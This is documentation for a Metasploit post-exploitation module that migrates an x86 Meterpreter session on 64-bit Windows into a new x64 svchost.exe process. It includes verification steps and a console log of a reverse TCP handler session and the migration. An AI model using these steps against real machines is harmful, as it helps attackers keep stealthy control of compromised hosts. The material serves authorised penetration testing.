2.3 KiB
2.3 KiB
Creating A Testing Environment
To use this module you need an x86 executable type meterpreter on a x64 windows machine.
This module has been tested against:
- Windows 10.
- Windows 7.
- Windows Server 2008R2
This module was not tested against, but may work against:
- Other versions of Windows that are x64.
Verification Steps
- Start msfconsole
- Obatin a meterpreter session with an executable meterpreter via whatever method
- Do: 'use post/windows/manage/archmigrate'
- Do: 'set session #'
- Do: 'run'
Scenarios
Windows 10 x64
msf exploit(handler) > run
[*] Started reverse TCP handler on <MSF_IP>:4567
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to <Win10x64_IP>
[*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <Win10x64_IP>:50917) at 2017-03-22 11:43:42 -0500
meterpreter > sysinfo
Computer : DESKTOP-SO4MCA3
OS : Windows 10 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/manage/archmigrate
msf post(archmigrate) > set session 1
session => 1
msf post(archmigrate) > run
[*] The meterpreter is not the same architecture as the OS! Upgrading!
[*] Starting new x64 process C:\windows\sysnative\svchost.exe
[+] Got pid 1772
[*] Migrating..
[+] Success!
[*] Post module execution completed
msf post(archmigrate) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-SO4MCA3\tmoose @ DESKTOP-SO4MCA3 <MSF_IP>:4567 -> <Win10x64_IP>:50917 (<Win10x64_IP>)
msf post(archmigrate) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-SO4MCA3
OS : Windows 10 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows